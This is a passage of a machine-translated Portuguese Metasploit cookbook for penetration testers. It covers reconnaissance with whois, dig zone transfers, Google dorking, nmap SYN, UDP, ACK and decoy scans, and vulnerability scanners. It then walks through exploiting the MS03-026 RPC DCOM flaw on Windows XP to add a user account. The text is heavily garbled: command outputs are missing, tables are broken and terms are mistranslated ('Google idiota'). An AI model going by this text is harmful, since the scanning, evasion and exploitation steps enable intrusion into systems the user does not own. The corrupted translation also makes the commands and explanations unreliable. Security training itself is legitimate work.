melhores serão nossas chances de explorar o alvo. Durante a fase de coleta de informações, nosso foco principal
é coletar fatos sobre a máquina alvo, como endereço IP, serviços disponíveis, portas abertas. Esta informação
desempenha um papel vital no processo de teste de penetração. Existem basicamente três tipos de técnicas
usadas na coleta de informações.
f Engenharia social
Machine Translated by Google
f Coleta passiva de informações: Esta técnica é usada para obter informações sobre o alvo sem
ter nenhuma conectividade física ou acesso a ele. Isso significa que usamos outras fontes para
obter informações sobre o alvo, como usar a consulta whois , Nslookup e assim por diante.
Suponha que nosso alvo seja um aplicativo da web online, então uma simples pesquisa whois
pode nos fornecer muitas informações sobre o aplicativo da web, como seu endereço IP, seus
domínios e subdomínios, localização do servidor, servidor de hospedagem e assim por diante.
Esta informação pode ser muito útil durante o teste de penetração, pois pode ampliar nossa
trilha de exploração do alvo.
f Coleta ativa de informações: Nesta técnica, uma conexão lógica é estabelecida com
alvo para obter informações. Essa técnica nos fornece o próximo nível de informação que pode
nos complementar diretamente na compreensão da segurança alvo.
Escaneamento de portas; o alvo é a técnica de varredura ativa mais amplamente usada, na
qual focamos nas portas abertas e nos serviços disponíveis em execução no alvo. f Engenharia
social: esse tipo de coleta de informações é semelhante à
coleta de informações, mas depende de erro humano e informações vazadas na forma de
impressões, conversas telefônicas ou IDs de e-mail incorretos e assim por diante.
As técnicas para utilizar este método são numerosas e o ethos da coleta de informações é
muito diferente, portanto, a engenharia social é uma categoria em si. Por exemplo, os hackers
registram nomes de domínio que soam semelhantes com erros de ortografia e configuram um
servidor de correio para receber esses e-mails errados. Tais domínios são conhecidos como
Domínios Doppelganger, ou seja, o gêmeo do mal.
28
Machine Translated by Google
Capítulo 2
Preparando-se
whois, Dig e Nslookup são as três etapas mais básicas e simples para obter informações
iniciais sobre nosso alvo. Como ambas são técnicas passivas de obtenção de informações,
nenhuma conectividade com o alvo é necessária. Esses comandos podem ser executados
diretamente do terminal do BackTrack. Então, abra a janela do terminal e prossiga.
Status: clientTransferProhibited
Status: clientUpdateProhibited
Aqui, podemos ver que uma simples pesquisa whois revelou algumas informações sobre o site de
destino. As informações incluem o servidor DNS, data de criação, data de expiração e assim por diante.
Como essa informação foi coletada de uma fonte diferente do alvo, ela é chamada de técnica passiva de
coleta de informações.
29
Machine Translated by Google
A outra maneira de obter informações passivamente pode ser consultando os registros DNS. A técnica mais comum
é usar o comando dig , que vem por padrão em máquinas Unix. Vamos analisar uma consulta dig em
www.packtpub.com.
;; SEÇÃO DE
PERGUNTAS: ;www.packtpub.com. EM UM
;; SEÇÃO DE RESPOSTA:
;; SEÇÃO DE AUTORIDADE:
Consultar os registros DNS revelou mais algumas informações sobre o alvo. dig pode ser usado para resolver os
nomes de hosts em endereços IP e, ao contrário, resolver endereços IP em nomes. Além disso, dig também pode
ser usado para coletar informações de versão de servidores de nomes que podem ser usados para ajudar na
exploração do host. Como podemos ver na saída, é difícil identificar o DNS primário ou, em alguns casos, o servidor
de correio primário ou o servidor de hospedagem de arquivos e assim por diante. É aqui que o Nslookup entra em
cena. O Nslookup é quase tão flexível quanto o dig, mas fornece um método padrão mais simples de identificar
hosts primários, como servidores de correio e DNS.
Endereço: 220.226.6.104#53
30
Machine Translated by Google
Capítulo 2
O Nslookup revelou mais informações sobre o alvo, como seu endereço IP, IP do servidor e assim por diante. Essas
técnicas passivas podem revelar algumas informações interessantes sobre o alvo e podem facilitar nosso caminho para
testes de penetração.
Como funciona...
dig pode ser usado para localizar os registros SPF (Sender Policy Framework). Os registros SPF são
aqueles registros que definem a política de envio de e-mails do domínio, ou seja, quais servidores são
responsáveis pelo envio de e-mails em seu nome. Registros SPF incorretos sempre resultarão em e-
mails de phishing/spam.
Os registros SPF são publicados em formato de texto. Os registros SPF são responsáveis por garantir
que os usuários registrados de um determinado domínio ou parceiros, de um determinado domínio, não
sejam atacados por e-mails de phishing. As informações coletadas da consulta dig podem nos ajudar a
determinar tais problemas em nosso destino.
Tem mais...
Vamos cobrir mais coisas sobre a coleta passiva de informações.
http://who.is
http://www.kloth.net
31
Machine Translated by Google
Preparando-se
Vamos entender três técnicas aqui nesta receita:
Cabeçalho SMTP: Para esta técnica, vamos exigir um e-mail que é enviado pelo alvo para o testador de
penetração.
f Google idiota: Esta é uma técnica simples, mas útil, de obter informações por meio de
um motor de busca.
Considere o seguinte exemplo em que uma consulta dig @ns1.example.com example.com axfr retorna uma
lista de endereços IP e seus nomes de host correspondentes:
32
Machine Translated by Google
Capítulo 2
Esta consulta identificou dez nomes de host, dos quais oito hosts exclusivos pertencem a example.com.
Podemos ver que os nomes de host são descritivos o suficiente para dar uma compreensão clara sobre o
tipo de serviço que está sendo executado.
A análise do cabeçalho SMTP pode ser outra fonte potencial de coleta de informações sobre o destino. Ele pode
nos fornecer informações sobre o servidor de correio, seu endereço IP, versão e assim por diante. A única
desvantagem desse método é que precisamos de um e-mail enviado do local de destino para analisá-lo. A captura
de tela a seguir mostra a parte do cabeçalho de um e-mail enviado do destino.
A última técnica é usar idiotas do Google. Este método pode funcionar apenas em alguns casos, mas vale a
pena experimentá-lo, pois você nunca sabe quais informações secretas ele pode revelar. Muitas vezes os
crawlers do Google chegam a determinados arquivos ou documentos que estão armazenados no servidor de
destino para uso interno, mas devido ao acesso à internet; o rastreador indexa o documento nos resultados da
pesquisa. Nesse caso, podemos procurar esses arquivos usando alguns truques de pesquisa do Google. A
combinação de site e tipo de arquivo nos resultados da pesquisa pode revelar algumas coisas interessantes.
33
Machine Translated by Google
Como funciona...
A consulta dig basicamente retorna os dados fornecidos pelo IP ou proprietário do domínio enquanto ele
está sendo registrado. As informações de transferência de zona são fornecidas principalmente aos
servidores DNS para construir um mapeamento adequado dos domínios registrados. A consulta dig pode
ajudar na busca dessas informações. O cabeçalho SMTP é o corpo de dados original de um e-mail. Por
ser a principal representação de dados dos e-mails, contém muitas informações sobre o remetente do e-mail.
Os idiotas do Google nada mais são do que os resultados de pesquisa de vários arquivos que o rastreador do
Google indexa. Depois que o arquivo for indexado em uma pesquisa do Google, ele poderá ser visualizado usando
alguns tipos de pesquisa específicos.
Tem mais...
Preparando-se
Iniciar o nmap a partir do Metasploit é fácil. Inicie o console msf e digite nmap para exibir a lista de opções
de varredura que o Nmap fornece.
34
Machine Translated by Google
Capítulo 2
TCP connect [-sT] scan é o tipo de scan mais básico e padrão no Nmap. Ele segue o processo de handshake de três
vias para detectar as portas abertas na máquina de destino. Vamos realizar esta varredura em nosso alvo.
Como podemos ver, passamos o parâmetro –sT que denota que queremos executar uma varredura de conexão TCP.
O parâmetro –p mostra o intervalo de números de porta que queremos verificar.
A varredura de conexão TCP é baseada em um processo de handshake de três vias, portanto, os resultados dessa
varredura retornados são considerados precisos.
A varredura SYN [-sS] é considerada uma técnica de varredura furtiva, pois nunca forma uma conexão completa
entre o alvo e o scanner. Por isso, também é chamado de varredura semi-aberta.
Vamos analisar uma varredura SYN no alvo.
Iniciando o Nmap 5.51SVN ( http://nmap.org ) em 2011-10-19 00:17 IST Nmap scan report for
192.168.56.102 Host is up (0.0019s latency).
35
Machine Translated by Google
O parâmetro –sS instruirá o Nmap a executar uma varredura SYN na máquina de destino. A saída da
conexão TCP e da varredura SYN são semelhantes na maioria dos casos, mas a única diferença reside
no fato de que as varreduras SYN são difíceis de detectar por firewalls e sistemas de detecção de
intrusão (IDS). No entanto, os firewalls modernos também são capazes de detectar varreduras SYN.
A varredura UDP [-sU] é a técnica de varredura para identificar portas UDP abertas no destino.
Pacotes UDP de 0 byte são enviados para a máquina de destino e o destinatário de uma mensagem de
porta inacessível ICMP mostra que a porta está fechada, caso contrário, ela é considerada aberta. Pode
ser utilizado da seguinte forma:
O comando a seguir verificará se a porta UDP em 192.168.56.102 está aberta ou não. Da mesma
forma, podemos executar uma varredura UDP em um intervalo completo de portas modificando o
operador –p .
A varredura de ACK [-sA] é um tipo de varredura especial que informa quais portas são filtradas ou
não filtradas por um firewall. Ele opera enviando quadros TCP ACK para uma porta remota. Se não houver
resposta, é considerada uma porta filtrada. Se o destino retornar um pacote RST (reinicialização da
conexão), a porta será considerada uma porta não filtrada.
Iniciando o Nmap 5.51SVN ( http://nmap.org ) em 2011-10-19 00:19 IST Nmap scan report for
192.168.56.102 Host is up (0.0011s latency).
A saída anterior mostra o resultado de uma verificação de ACK realizada no destino. A saída mostra
que todas as portas no destino são filtradas, exceto a porta número 9001, que não é filtrada.
Isso nos ajudará a descobrir pontos fracos em nosso alvo, pois atacar uma porta não filtrada terá uma
melhor taxa de sucesso na exploração do alvo.
36
Machine Translated by Google
Capítulo 2
Como funciona...
Geralmente, os testadores de penetração não enfatizam muito o processo de varredura, mas uma boa varredura pode
fornecer muitos resultados úteis. Como as informações coletadas aqui formarão a base do teste de penetração,
portanto, o conhecimento adequado dos tipos de verificação é altamente recomendado. Vamos agora dar uma olhada
mais profunda em cada uma dessas técnicas de digitalização que acabamos de aprender.
A varredura de conexão TCP é a técnica de varredura mais básica na qual uma conexão completa é
estabelecida com a porta em teste. Ele usa as funções de rede do sistema operacional para estabelecer
conexões. O scanner envia um pacote SYN para a máquina de destino. Se a porta estiver aberta, ela retornará
uma mensagem ACK ao scanner. O scanner então envia um pacote ACK de volta ao destino mostrando o
estabelecimento bem-sucedido de uma conexão. Isso é chamado de processo de handshake de três vias. A conexão
é encerrada assim que é aberta. Essa técnica tem seus benefícios, mas é facilmente rastreável por firewalls e IDS.
Uma varredura SYN é outro tipo de varredura TCP, mas nunca forma uma conexão completa com o destino. Ele
não usa as funções de rede do sistema operacional, em vez disso, gera pacotes IP brutos e monitora as respostas.
Se a porta estiver aberta, o destino responderá com uma mensagem ACK. O scanner então envia uma mensagem
RST (redefinir conexão) e encerra a conexão. Por isso, também é chamado de varredura semi-aberta. Isso é
considerado uma técnica de varredura furtiva, pois pode evitar o surgimento de um sinalizador em alguns firewalls
e IDS mal configurados.
A varredura UDP é uma técnica de varredura sem conexão, portanto, nenhuma notificação é enviada de volta ao
scanner, independentemente de o pacote ter sido recebido pelo destino ou não. Se a porta estiver fechada, uma
mensagem de porta inacessível ICMP será enviada de volta ao scanner. Se nenhuma mensagem for recebida, a
porta será relatada como aberta. Este método pode retornar resultados falsos, pois os firewalls podem bloquear os
pacotes de dados e, portanto, nenhuma mensagem de resposta será gerada e o scanner informará a porta como
aberta.
Uma varredura ACK tem o único propósito de identificar portas filtradas e não filtradas. É uma técnica de varredura
única e prática que pode ser útil para encontrar pontos fracos no sistema de destino, pois as portas não filtradas
podem ser alvos fáceis. Mas uma grande desvantagem com uma varredura de ACK é que, como ela nunca se conecta
ao alvo, ela não consegue identificar as portas abertas. As saídas de uma varredura de ACK listarão apenas se a porta
é filtrada ou não filtrada. Combinar uma varredura ACK com outros tipos de varredura pode tornar o processo de
varredura muito furtivo.
Tem mais...
Vamos cobrir mais sobre as varreduras do nmap e ver como podemos agrupar diferentes tipos de varredura em um.
37
Machine Translated by Google
Como podemos ver, o Nmap detectou com sucesso o sistema operacional da máquina de destino.
Isso pode facilitar nossa tarefa de encontrar as explorações certas de acordo com o sistema operacional
do alvo.
A outra opção amplamente usada do Nmap é a detecção de versão [-sV] de diferentes portas abertas no destino.
Ele pode ser combinado com qualquer um dos tipos de verificação que vimos anteriormente para adicionar um
pouco mais de informação sobre qual versão dos serviços está sendo executada nas portas abertas do destino.
Como podemos ver, uma coluna extra de Versões foi adicionada em nossa saída de verificação, que
informa sobre as diferentes versões de serviços em execução na máquina de destino.
38
Machine Translated by Google
Capítulo 2
Aumentando o anonimato É
muito essencial realizar verificações de maneira anônima. Os logs do firewall e IDS podem revelar
seu endereço IP se você executar uma varredura sem usar medidas de segurança. Um desses
recursos é fornecido no Nmap , chamado Decoy [-D].
A opção chamariz não impede que seu endereço IP seja registrado no arquivo de log de firewalls e
IDS, mas torna a verificação assustadora. Ele adiciona outros torrents nos arquivos de log, criando
assim a impressão de que existem vários outros invasores verificando a máquina simultaneamente.
Portanto, se você adicionar dois endereços IP falsos, o arquivo de log mostrará que os pacotes de
solicitação foram enviados de três endereços IP diferentes, um será o seu e os outros dois serão os
endereços falsos adicionados por você.
Preparando-se
Para usar qualquer módulo auxiliar, teremos que seguir três passos simples para deixar nosso módulo
pronto para o lançamento. Vamos passar pelo processo de três etapas.
39
Machine Translated by Google
Para visualizar os módulos de varredura disponíveis no framework Metasploit, podemos navegar até o seguinte local:
root@bt:~# cd /pentest/exploits/framework3/modules/auxiliary/scanner
Para começar a usar os módulos, teremos que iniciar nossa sessão msfconsole .
Para começar, vamos procurar os módulos de varredura de portas disponíveis para nós no framework.
Módulos correspondentes
================
Podemos ver a lista de scanners disponíveis. Ele contém alguns dos tipos básicos de varredura que discutimos nas
receitas anteriores. Vamos começar com uma varredura SYN simples para começar.
Como funciona...
Agora vamos seguir nosso processo de três etapas para começar a usar o módulo. Comecemos pelo primeiro passo.
2. Agora vamos ver quais parâmetros são requeridos pelo módulo. isso será feito
usando o comando show options :
40
Machine Translated by Google
Capítulo 2
A primeira coluna lista todos os parâmetros necessários. A coluna chamada Required nos diz quais parâmetros
são necessários para passar. É necessário que todos os parâmetros marcados como sim contenham um valor.
Como podemos ver, todas as colunas contêm valores padrão. RHOSTS contém o intervalo de endereços IP
que queremos verificar. Então, vamos definir o parâmetro RHOSTS com nosso endereço IP de destino.
Agora nosso módulo está pronto para executar uma varredura SYN em nosso endereço IP de destino.
Usando o comando set , também podemos alterar os outros valores. Por exemplo, se quisermos alterar
o intervalo de números de porta, o seguinte comando pode resolver nosso propósito:
3. Por fim, nosso último passo será executar o módulo para realizar sua respectiva ação:
Na execução bem-sucedida do comando de execução , o módulo executará uma varredura SYN e produzirá resultados.
Tem mais...
Vamos entender o uso de threads na próxima seção.
Gerenciando os encadeamentos
Definir e gerenciar o número de encadeamentos em módulos auxiliares pode melhorar muito o desempenho dos
módulos auxiliares. Caso você precise verificar uma rede inteira ou um intervalo de endereços IP, aumentar o número
de threads tornará o processo de verificação mais rápido.
41
Machine Translated by Google
Preparando-se
Vamos descobrir quais módulos auxiliares de varredura baseados em serviço estão disponíveis para nós.
Podemos navegar pelo seguinte caminho:
root@bt:~# cd /pentest/exploits/framework3/modules/auxiliary/scanner
root@bt:/ pentest/exploits/framework3/modules/auxiliary/scanner# ls
backdoor emc ip mysql pop3 dedo lótus sap ssh vnc netbios
db2 portscan sip telefonia
voz
dcerpc ftp misc nfs postgres smb telnet vxworks http motorola ntp smtp tftp x11 rogue
dect mssql oracle rservices snmp upnp
mapa de descoberta
Como podemos ver, existem muitas opções para módulos de varredura de serviço que podem ser muito úteis durante
o teste de penetração. Vamos trabalhar rapidamente alguns deles.
Vamos trabalhar no módulo NetBIOS. A verificação de NetBIOS pode ser benéfica na identificação do sistema
operacional Windows. Desta vez, examinaremos várias redes para descobrir qual máquina está executando um
serviço NetBIOS.
42
Machine Translated by Google
Capítulo 2
O RHOSTS agora está configurado para varrer todo o intervalo de endereços IP e o número de threads também está
definido como dez. Vamos agora executar este módulo e analisar o resultado.
A rede tem três máquinas em execução na rede digitalizada que estão usando NetBIOS.
A verificação também relatou seus respectivos endereços MAC.
Vamos realizar outra varredura de serviço. Desta vez, tentaremos localizar quais máquinas estão
executando o servidor de banco de dados MySQL. Além disso, tentaremos descobrir a versão do servidor.
43
Machine Translated by Google
[*] 192.168.56.102:3306 está executando o MySQL, mas responde com um erro: \ x04Host '192.168.56.101'
não tem permissão para se conectar a este servidor MySQL
O processo de verificação detectou que o endereço IP 192.168.56.102 está executando um servidor MySQL, mas,
infelizmente, não pôde se conectar ao servidor. Esta é outra demonstração de como os módulos auxiliares são
fáceis e práticos, e eles também podem nos fornecer muitas informações úteis.
Recomenda-se que você experimente todos os módulos auxiliares de scanner disponíveis, pois eles podem ajudá-lo
a entender melhor seu alvo.
Como funciona...
Módulos auxiliares são módulos de propósito especial que são construídos para executar uma tarefa específica.
Pode haver situações em que você precisa executar apenas um determinado tipo de varredura para descobrir
serviços. Por exemplo, o scanner auxiliar do MySQL detecta a presença do banco de dados fazendo ping no
número da porta padrão (3306). Além disso, verifica se o login padrão está ativado no banco de dados ou não. Você
pode analisar o script em /modules/auxiliary/scanner. Você pode estender o código de acordo com sua necessidade
ou até mesmo reutilizar o script para construir seu próprio scanner auxiliar específico.
O Nessus é um dos scanners de vulnerabilidade mais amplamente usados. Ele verifica o alvo em busca de uma
variedade de vulnerabilidades e produz um relatório detalhado para ele. Nessus é uma ferramenta muito útil
durante testes de penetração. Você pode usar a versão GUI do Nessus ou também pode usá-la no console do
Metasploit. Neste livro, focaremos principalmente no uso do Nessus com o msfconsole.
44
Machine Translated by Google
Capítulo 2
Preparando-se
Para começar a trabalhar com o Nessus no msfconsole, teremos que carregar o Nessus e conectá-lo ao servidor para
iniciar nosso teste de penetração.
Primeiro, conectaremos nosso banco de dados com o Metasploit para armazenar os resultados provisórios. O
processo de iniciar e conectar o banco de dados no Metasploit foi explicado no capítulo anterior. Depois de conectar
o banco de dados, nossa próxima tarefa é carregar o plugin Nessus.
1. Para conectar o banco de dados e carregar o Nessus no Metasploit, executaremos o seguinte comando:
msf > db_connect msf3:8b826ac0@127.0.0.1:7175/ msf3
No comando anterior, ok é um parâmetro extra que é passado para garantir que o servidor Nessus
esteja sendo executado em uma rede confiável.
Um novo usuário também pode ser adicionado usando o comando nessus_user_add. Usando o comando
nessus_policy_list, podemos visualizar a lista de políticas disponíveis no servidor.
45
Machine Translated by Google
Como funciona...
Depois que o Nessus estiver conectado ao servidor, ele poderá ser usado para fazer a varredura das máquinas
de destino. O processo de digitalização é simples e rápido. Vamos fazer uma varredura rápida em um alvo para
ver como funciona a varredura do Nessus. Para iniciar a verificação, teremos que passar o seguinte comando:
Após a conclusão do processo de digitalização, nosso próximo objetivo será importar a lista gerada pelo Nessus.
Vamos verificar a lista disponível:
EU IA Nome Status
---- ------
9d337e9b - 82c7 -
A coluna ID representa o relatório que foi gerado como resultado de nossa verificação.
Vamos importar este relatório agora.
Uma vez que o relatório foi importado, ele agora pode ser operado usando os comandos do console e pode ser
analisado para descobrir os pontos fracos do alvo. Para visualizar as vulnerabilidades no alvo, execute o seguinte
comando:
Tem mais...
Vejamos um guia rápido para trabalhar com o Nessus no modo GUI.
46
Machine Translated by Google
Capítulo 2
http://www.nessus.org/register/
Uma vez concluído o registro, teremos que iniciar o Nessus e adicionar o código de registro.
Vá para Aplicativos | BackTrack | Avaliação de Vulnerabilidade | Avaliação de rede |
Verificador de Vulnerabilidade | nessus start.
O erro ocorre porque o Nessus ainda não está registrado. Para se registrar, teremos que usar o código
de registro que recebemos por e-mail do Nessus. O seguinte comando nos ajudará a concluir o processo
de registro:
https://localhost:8834
Se você estiver iniciando o Nessus no navegador pela primeira vez, levará algum tempo para
carregar. Então seja paciente.
47
Machine Translated by Google
NeXpose é uma ferramenta popular da Rapid7 que executa a tarefa de escanear vulnerabilidades e importar
resultados para o banco de dados Metasploit. O uso do NeXpose é semelhante ao Nessus que aprendemos
na receita anterior, mas vamos dar uma rápida olhada em como começar com o NeXpose. Vou deixar a tarefa
de explorá-lo mais profundamente como uma tarefa para você.
Preparando-se
Para iniciar o NeXpose a partir do console msf , primeiro teremos que conectar o banco de dados ao
Metasploit e, em seguida, carregar o plug-in para conectá-lo ao servidor NeXpose para iniciar o processo
de verificação de destino. Vamos executar essas etapas na linha de comando.
Como funciona...
Após a conclusão da verificação, podemos visualizar seus resultados usando os comandos de banco de dados
padrão do console msf .
48
Machine Translated by Google
Capítulo 2
Anfitriões
=====
192.168.56.102MicrosoftWindows EXP
msf >
Tem mais...
Após a coleta das informações, a etapa final será a importação dos resultados. Vejamos como é executado.
Ao usar a versão GUI do Nessus ou do NeXpose, você terá que importar manualmente os resultados da verificação
para o banco de dados. A razão pela qual estou enfatizando a importação e armazenamento de resultados é que em
nosso próximo capítulo veremos como podemos usar o comando autopwn para executar explorações automaticamente
em hosts presentes em nosso banco de dados. Portanto, para importar os resultados da verificação, usaremos o
comando db_import da seguinte forma: db_import filename
49
Machine Translated by Google
diante f Pode ser estendido para conectar-se a sistemas externos como um banco de dados de vulnerabilidade
Embora não nos ajude a obter nenhuma informação sobre o alvo, a ferramenta é importante para todos os profissionais
de segurança no compartilhamento de resultados e descobertas de testes de invasão.
Preparando-se
Para lançar o framework Dradis no BackTrack, teremos que executar o seguinte comando no terminal:
root@bt:~# cd /pentest/misc/dradis
Uma vez executado o comando com sucesso, podemos lançar o framework desde nosso navegador passando o seguinte
endereço:
https://127.0.0.1:3004
50
Machine Translated by Google
Capítulo 2
Existem cinco opções importantes que a estrutura nos fornece. Eles são adicionar ramificação, importar do
arquivo, exportar, adicionar nota e categorias de nota.
Depois de fazer login com suas credenciais, você verá uma tela semelhante à mostrada na captura de tela
anterior. Você pode localizar as cinco opções no canto esquerdo da estrutura. Vamos ver o que essas opções
fazem por nós.
Como funciona...
Vamos começar criando um novo relatório. O processo é simples e começa com a adição de hosts e sub-hosts.
A opção add branch nos permite adicionar um novo IP ou nome de domínio. Depois que um domínio de nível
superior é adicionado, podemos adicionar ainda mais seu filho para incluir subdomínios também. Agora, a próxima
tarefa é adicionar informações sobre eles.
A opção adicionar nota nos permite adicionar informações que coletamos de vários resultados de verificação. Por
exemplo, podemos adicionar resultados de varredura do Nmap, Nessus e assim por diante.
51
Machine Translated by Google
A opção de categorias de notas nos ajuda a selecionar o meio que usamos para obter as
informações. As várias opções incluem varredura Brup, varredura Nessus, NeXpose, Nmap e
assim por diante. Você pode escolher a opção apropriada que usou para gerar os resultados da verificação.
A captura de tela a seguir mostra informações sobre a varredura do Nmap realizada em um intervalo
de endereços IP 192.168.56.1/24. A estrutura em árvore do lado esquerdo contém informações sobre
os destinos disponíveis e a coluna da direita fornece relatórios sobre isso.
A próxima coisa que podemos fazer com a estrutura Dradis é importar um relatório existente ou
exportar um relatório criado.
A opção de exportação oferece aos testadores de penetração profissionais uma opção para gerar um
relatório completo de vários domínios e subdomínios em um único arquivo. O relatório pode ser exportado
em formato XML ou HTML. Também pode ser exportado na forma de um projeto ou modelo personalizado.
52
Machine Translated by Google
3
Vulnerabilidade
baseada no sistema operaciona
Avaliação e
Exploração
Introdução
No capítulo anterior, nos concentramos em coletar informações sobre nosso alvo. Várias
informações incluíam o endereço IP de destino, portas abertas, serviços disponíveis, sistema
operacional e assim por diante. Um dos maiores ativos no processo de coleta de informações é obter
conhecimento sobre o sistema operacional usado pelo servidor ou sistema de destino. Essas
informações podem ser muito úteis para penetrar na máquina de destino, pois podemos procurar
rapidamente explorações e vulnerabilidades do sistema operacional em uso. Bem, o processo não é
tão simples quanto parece, mas o conhecimento sobre o sistema operacional de destino pode facilitar
muito nossa tarefa.
Machine Translated by Google
Cada sabor do sistema operacional tem algum ou outro bug nele. Uma vez relatado, o processo de
desenvolvimento de exploits para ele começa. Os sistemas operacionais licenciados, como o Windows, desenvolvem
patches rapidamente para o bug ou vulnerabilidade e os fornecem como uma atualização para seus usuários.
A divulgação de vulnerabilidades é um grande problema atualmente. Muitas divulgações de dia zero criam confusão na
indústria de computadores. As vulnerabilidades de dia zero são muito procuradas e nos mercados clandestinos, o preço
pode variar de 50 K USD a 100 K USD. Vulnerabilidades são detectadas e exploradas, mas a divulgação da
vulnerabilidade depende do pesquisador e de sua intenção.
Produtos bem conhecidos, como Microsoft e Adobe, emitem patches em intervalos regulares, mas cabe ao usuário
aplicá-los. Em cenários corporativos, isso fica ainda pior - leva semanas até que os servidores sejam corrigidos devido
ao tempo de inatividade envolvido e para garantir que a continuidade dos negócios não seja prejudicada. Portanto, é
sempre recomendável atualizar ou ficar de olho em qualquer vulnerabilidade mais recente descoberta em seu sistema
operacional em uso. Sistemas não corrigidos são um refúgio seguro para hackers, pois eles imediatamente lançam
exploits para comprometer o alvo. Portanto, é essencial aplicar patches e atualizar regularmente os sistemas operacionais.
Neste capítulo, vamos nos concentrar nas vulnerabilidades relatadas em alguns dos sistemas operacionais mais populares.
No processo de teste de penetração, uma vez que as informações sobre o sistema operacional de destino
estão disponíveis, os testadores de penetração começam a procurar explorações disponíveis para as falhas
específicas do sistema operacional. Portanto, este capítulo será o primeiro passo para penetrar em nosso alvo por
meio de vulnerabilidades no sistema operacional. Vamos nos concentrar em alguns dos sistemas operacionais baseados
em empresas e domésticos mais amplamente usados da Microsoft e em alguns tipos de Linux. Também veremos como
usar exploits e configurar seus parâmetros para torná-lo executável na máquina de destino. Por último, mas não menos
importante, discutiremos algumas das cargas úteis disponíveis para nós na estrutura do Metasploit. Então vamos começar
com as receitas.
Preparando-se
Para começar a usar explorações em seu alvo, a primeira coisa necessária é escanear o alvo em busca de portas e
serviços abertos. Depois de reunir informações suficientes sobre o alvo, a próxima etapa é selecionar as explorações
de acordo. Portanto, vamos analisar alguns dos comandos de exploração que podem ser iniciados diretamente do
msfconsole.
54
Machine Translated by Google
Capítulo 3
f msf > show exploits and msf > show payloads: Esses dois comandos exibirão todos os
exploits e payloads disponíveis no diretório Metasploit.
f msf > search exploit: Este comando procurará uma exploração específica.
Também podemos usar esse comando para pesquisar quaisquer termos de pesquisa específicos.
O comando deve ser passado da seguinte maneira:
Módulos correspondentes
================
Descrição
---- --------------- ---- ----------
--
explorar/janelas/
f msf > use exploit: Este comando é usado para definir qualquer exploit como ativo e pronto
usar. O comando é passado da seguinte maneira:
f show options: Este comando é usado para ver as opções ou parâmetros disponíveis do exploit
em uso. Os vários parâmetros incluem o IP do host, porta, threads e assim por diante. Os
parâmetros marcados como sim devem ter um valor para executar o exploit.
msf exploit(ms03_026_dcom) > mostrar opções
55
Machine Translated by Google
f set: Este comando é usado para definir um valor para um parâmetro no exploit em uso.
Ele é usado para configurar uma carga útil para uma exploração específica em uso. O comando
pode ser passado da seguinte maneira:
Existem comandos opcionais chamados setg e unsetg. Esses comandos são usados quando temos
que definir globalmente um valor de parâmetro no msfconsole. Isso, portanto, nos salva de reinserir o
mesmo valor.
f show targets: Cada exploit é feito para atacar um determinado serviço de destino.
Este comando exibe as informações sobre quais possíveis alvos o exploit pode ser
usado:
Explorar alvos:
Nome de identificação
-- ----
Aqui podemos ver que o exploit dcom está disponível para vários tipos de máquina Windows.
Como funciona...
No Capítulo 1, Dicas rápidas do Metasploit para profissionais de segurança, discutimos que toda a estrutura
do Metasploit possui uma arquitetura modular. Diferentes exploits são convertidos em um módulo
compreensível pela estrutura que pode funcionar de acordo com ela. Diferentes comandos são chamados para
carregar e configurar os módulos. A interface de linha de comando do msfconsole facilita o acesso a diferentes
módulos e a realização de testes de penetração.
54
Machine Translated by Google
Capítulo 3
Preparando-se
Iniciaremos nosso processo de teste de penetração diretamente no msfconsole. Portanto, inicie o
console e execute uma varredura de porta para coletar informações sobre o alvo. Discutimos a varredura
de portas em detalhes no capítulo anterior. Aqui, vou assumir que você reuniu informações sobre o alvo e
está executando um sistema operacional Windows XP. Então, vamos prosseguir com a seleção de exploits
e payloads.
1. O objetivo principal será selecionar um exploit que possa ser usado em um Windows XP
máquina. Você pode navegar até o diretório /exploits/windows ou simplesmente fazer uma busca
por uma lista de exploits disponíveis para a plataforma Windows XP. Estaremos usando a
vulnerabilidade RPC dcom para penetrar em nosso alvo. Então, vamos primeiro procurar a
vulnerabilidade RPC dcom , usando o seguinte comando:
Módulos correspondentes
================
exploração/janelas
xploit/windows/
motorista/
55
Machine Translated by Google
xploit/windows/
Como podemos ver, a pesquisa produziu três resultados. Estaremos trabalhando no primeiro exploit,
pois sua classificação é listada como ótima , para que tenha uma melhor taxa de sucesso.
Explorar alvo:
Nome de identificação
-- ----
Aqui RHOST denota o endereço IP do host remoto e RPORT denota a porta de ligação padrão.
O valor ou RPORT foi definido como 135 por padrão. Teremos que definir o valor de RHOST para
nosso endereço IP de destino para executar o exploit:
54
Machine Translated by Google
Capítulo 3
Agora o valor de RHOST foi definido para nosso endereço IP de destino. Se tentarmos executar o
exploit, receberemos uma mensagem de erro. O motivo é que ainda não selecionamos nenhuma carga
útil para o exploit.
4. Nosso próximo passo será escolher uma carga relevante. Podemos usar o comando show payloads
para listar todos os payloads disponíveis. Começaremos com um exemplo simples da carga útil
windows/adduser . Esta carga adicionará um novo usuário no sistema operacional do alvo:
5. Agora, se usarmos novamente o comando show options , ele listará os parâmetros tanto para o exploit
quanto para a carga útil. Os parâmetros de carga útil serão mais ou menos assim:
Podemos ver que o nome de usuário e a senha padrão que serão adicionados ao nosso sistema
operacional de destino são metasploit e metasploit. Podemos alterar esses valores usando os
comandos set PASS e set USER .
6. Agora que nossa carga está definida, estamos prontos para penetrar na máquina de destino.
Usaremos o seguinte comando para iniciar o exploit:
55
Machine Translated by Google
A última linha da saída mostra que a exploração foi concluída com sucesso na máquina de
destino. Agora haverá um novo usuário adicionado na máquina de destino. A saída também diz
que nenhuma sessão foi criada. Isso ocorre porque a carga que usamos era um adduser
simples que não precisa de nenhuma sessão ativa. Portanto, assim que a exploração for concluída,
a conexão com o alvo será encerrada. Na próxima receita, usaremos o payload para configurar
uma sessão.
Como funciona...
Há vulnerabilidade na parte do RPC que trata da troca de mensagens sobre TCP/IP. A falha ocorre
devido ao tratamento incorreto de mensagens malformadas. Essa vulnerabilidade específica afeta uma
interface DCOM ( Distributed Component Object Model ) com RPC, que escuta em portas habilitadas
para RPC. Portanto, a máquina de destino deve ter uma porta disponível executando um serviço RPC.
Essa interface lida com as solicitações de ativação do objeto DCOM que são enviadas pelas máquinas
clientes para o servidor. Um invasor que explorar com êxito essa vulnerabilidade poderá executar o código
com privilégios de sistema local em um sistema afetado. O invasor seria capaz de realizar qualquer ação no
sistema. Isso inclui instalar programas, visualizar/alterar/excluir dados ou criar novas contas com privilégios
totais.
Para obter mais detalhes sobre esta vulnerabilidade, você pode visitar o seguinte link para Microsoft
Boletim de Segurança:
